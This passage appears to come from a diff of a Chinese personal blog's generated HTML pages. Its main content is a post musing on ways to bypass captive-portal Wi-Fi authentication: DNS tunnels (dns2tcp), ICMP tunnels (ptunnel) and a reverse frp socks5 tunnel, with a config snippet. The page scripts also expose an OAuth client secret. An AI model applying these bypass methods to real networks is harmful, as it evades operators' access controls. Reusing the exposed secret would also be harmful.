<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/06/10/distributed.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/05/15/vulnerability.html">
上一篇:论如何发现一个计算机漏洞
</a>
</span>
<br />
<span class="next">
<a href="/2021/07/13/wifi.html">
下一篇绕过Portal认证的另一个想法
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/06/10/distributed', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/06/10/distributed.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

326
2021/07/13/wifi.html Normal file
View File

@@ -0,0 +1,326 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>绕过Portal认证的另一个想法 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="绕过Portal认证的另一个想法" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="也许反弹还是挺好用的?" />
<meta property="og:description" content="也许反弹还是挺好用的?" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-07-13T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="绕过Portal认证的另一个想法" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-07-13T00:00:00+08:00","datePublished":"2021-07-13T00:00:00+08:00","description":"也许反弹还是挺好用的?","headline":"绕过Portal认证的另一个想法","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/07/13/wifi.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/07/13/wifi.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/07/13/wifi.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-07-13T00:00:00+08:00">13 July 2021</time> - 字数统计1848 - 阅读大约需要6分钟 - Hits: <span id="/2021/07/13/wifi.html" class="visitors">Loading...</span></small>
<h1 class="p-name">绕过Portal认证的另一个想法</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 13 Jul 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章作者讨论了在新宿舍环境中发现的使用Portal验证的WiFi并注意到这种认证方式存在绕过的可能性。作者分享了之前尝试过的DNS隧道方法虽然有效但普遍。一个不成熟的想法是利用可能存在的入站而非出站防火墙漏洞通过主动连接的隧道如搭建SSH或frp隧道来进行反弹式连接。这种方法在特定情况下如公网IP且入站防火墙未开启可行但具有明显的局限性如需要在同一网络内、防火墙可能随时变化等。作者表示这仅是理论上的另一个思路实际操作中具有不确定性更多是作为一种可能性探讨。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#绕过的思路">绕过的思路</a></li><li><a href="#另一个想法">另一个想法</a></li><li><a href="#局限性">局限性</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>也许反弹还是挺好用的?<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前段时间我换了宿舍。待了一段时间之后我发现在新宿舍里比旧宿舍里多了一些WiFi比如CMCC-EDU啥的。原来我们宿舍除了自己的WiFi就再没有别的了那这个新的WiFi就引起了我的注意力。 </p><p>
我很久以前也研究过类似的WiFi这种WiFi通常不使用密码验证而是使用Portal验证。这种验证更加的自由所以很多公共区域的WiFi都使用的是这种方式。但是这种验证有一个很大的缺陷那就是正常来说用密码的WiFi即AP的密码算是在第一层也就是物理层上做的验证通常物理层验证还是很难破解的毕竟这就相当于把网线剪了再厉害的黑客也没办法通常也只能靠些什么旁路攻击之类乱七八糟的歪门邪道不如直接接入网络直接干合适。 </p><p>
所以呢当我可以直接接入WiFi时不管怎么说这都相当于我已经直接用网线直连到了这个网络中然后只要想办法绕过认证服务器就可以。不过这么说也不是很准确因为大多数人配交换机不会配的很严格但是AP还要特地开个AP隔离就比较恶心。 </p><p>
通常来说这个所谓的认证服务器也不过是一个二级的防火墙通常就是通过认证的设备就在出站白名单里加上这个MAC地址这样这个设备就可以正常上网了。</p>
<h1 id="绕过的思路">
<a href="#绕过的思路"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 绕过的思路
</h1>
<p>绕过Portal认证的方法网上大多数是给的通过DNS隧道来绕过因为大多数的这种服务器都不会自己写的DNS而是用已经很成熟的软件所以通常解析都不会受到影响。根据这一点很多人就想出了使用DNS作为隧道来达到免费上网的目的一般来说有两种方法第一个是防火墙完全不封DNS的情况也就是对UDP 53端口完全不设限的情况这种情况直接搭一个使用UDP的任意隧道都可以。
还有一种是只允许使用DHCP分配的DNS服务器一般也为了考虑到认证通过后能正常上网所以解析都是正常的考虑到DNS的特点我们可以给自己服务器设置一个NS解析这样我们就能拿被指定的这个DNS服务器作为跳板来和远程的服务器通信了。不过这个就不能随便选择软件了需要用能伪装成DNS流量的软件来搭隧道比如dns2tcp之类的就可以。</p><p>
其实吧那个CMCC-EDU我试过确实解析是没有问题的正好Github之前还给我送了一年<a href="https://mayx.me/">mayx.me</a>的域名,我回头有机会我试试看能不能建立隧道吧。</p>
<h1 id="另一个想法">
<a href="#另一个想法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 另一个想法
</h1>
<p>上面的方法虽然很不错但是太常见了网上基本上搜怎么绕过Portal认证基本上都是这些办法比较没意思而且一般来说现在新的厂家应该都封掉了这个办法吧毕竟只要给指定的DNS上面也加一个认证必须是通过认证的设备才能正常解析或者是像中国防火长城一样来一波DNS污染这样DNS隧道就不能正常工作了。所以学了些网络知识的我有个不成熟的想法那就是这种防火墙一般拦截的是出站会不会不拦截入站 </p><p>
事实上我还试了一下那个CMCC-EDU很神奇的居然分配的是公网IP所以我就试了试去ping连接的设备想不到也可以ping成功不过也可能只是防火墙没有拦截ICMP具体因为我没待几天就回家了有了这个想法也只是简单的做了几个测试而已所以我也不是很清楚。不过没关系如果没拦截ICMP也可以用ptunnel搭ICMP隧道。 </p><p>
不过如果入站真的没有防火墙那么我可以试试主动连接的隧道用起来有点像反弹。具体怎么搭这种隧道如果用的是Linux系统的设备可以看<a href="/2021/05/07/ssh.html">怎么搭SSH隧道</a>不过我这次实验想用frp来搭也就是连接CMCC-EDU的设备打开frps然后找个能连外网的服务器用frpc连进来在配置段中加入</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[socks_proxy]
type = tcp
remote_port = 1080
plugin = socks5
</code></pre></div></div>
<p>最后就直接用<code class="language-plaintext highlighter-rouge">127.0.0.1:1080</code>这个隧道上网就可以了如果是Windows设备的话用Proxifier来上网效果还是相当不错的。不过我目前在家里不好试等我开学了回宿舍试试看。</p>
<h1 id="局限性">
<a href="#局限性"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 局限性
</h1>
<p>像这个方法也只能说是特定情况的另一种可能性吧因为限制也是蛮多的首先大多数Portal认证的WiFi不可能给一个公网IP想要反弹至少要在同一个网络中就这个限制就挺严格的可能也就校园网可以用另外就是不开入站防火墙也可能只是疏忽万一管理员开了这个办法也不行这也只能靠赌也并不怎么好使所以说这也就只是另一个想法看以后如果真的遇到了类似的问题看怎么解决吧。 </p><p>
不过我确实也没接触过真正严格的网络,像那种极其严格的公司网络我也没见过,也许到时候如果有机会见一见的话就不会觉得这种垃圾防火墙算什么事情了吧😀。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=WiFi"><em>WiFi</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=Portal"><em>Portal</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E8%AE%A4%E8%AF%81"><em>认证</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%BB%95%E8%BF%87"><em>绕过</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-07-13-wifi.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/07/13/wifi.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/06/10/distributed.html">
上一篇:关于去中心化分布式系统的探索
</a>
</span>
<br />
<span class="next">
<a href="/2021/07/23/search.html">
下一篇:如何给博客加上全文搜索功能
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/07/13/wifi', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/07/13/wifi.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

324
2021/07/23/search.html Normal file
View File

@@ -0,0 +1,324 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>如何给博客加上全文搜索功能 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="如何给博客加上全文搜索功能" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="原来JavaScript比Java还难" />
<meta property="og:description" content="原来JavaScript比Java还难" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-07-23T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="如何给博客加上全文搜索功能" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-07-23T00:00:00+08:00","datePublished":"2021-07-23T00:00:00+08:00","description":"原来JavaScript比Java还难","headline":"如何给博客加上全文搜索功能","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/07/23/search.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/07/23/search.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/07/23/search.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-07-23T00:00:00+08:00">23 July 2021</time> - 字数统计1447 - 阅读大约需要5分钟 - Hits: <span id="/2021/07/23/search.html" class="visitors">Loading...</span></small>
<h1 class="p-name">如何给博客加上全文搜索功能</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 23 Jul 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者的经历他们在给自己的静态博客添加全文搜索功能时遇到的挑战。原计划由于博客内容量不大和性能考虑而未实施后来发现了一个名为Simple-Jekyll-Search的插件但却遇到异步加载内容和搜索方法触发时机的问题。作者在尝试多种解决方案后最终决定放弃插件自带的AJAX转而使用jQuery的AJAX来解决加载问题。作者在文中表达了JavaScript学习的困难以及对中文互联网编程资源质量的不满。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#痛苦的写代码时间">痛苦的写代码时间</a></li><li><a href="#突发奇想的解决">突发奇想的解决</a></li><li><a href="#最终的代码">最终的代码</a></li><li><a href="#后记">后记</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>原来JavaScript比Java还难<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前两天,我在看群的时候看到了<a href="https://github.com/TMaize/tmaize-blog">其他人的博客</a>,打开随便看了两眼莫名其妙的就点到搜索页面上了,随手一输那个效果想不到还不错,有那个全文搜索功能。 </p><p>
其实我之前也想搞全文搜索,但是作为静态博客,全文搜索意味着客户端要遍历所有的文章,想想好像挺耗时就没搞。但是再想想我写几百万字可能还没有一张图片大,似乎对用户体验也不会有特别大的影响,而且最主要的是我之前博客用的那个<a href="https://github.com/androiddevelop/jekyll-search">破烂玩意</a>它需要调用bootstrap库这库大也就算了但是bootstarp的样式表会影响我博客的效果我给那个插件作者<a href="https://github.com/androiddevelop/jekyll-search/issues/7">反馈</a>之后人家完全不在乎。行吧,开源作者有这个权利,那我只好换一家了。</p>
<h1 id="痛苦的写代码时间">
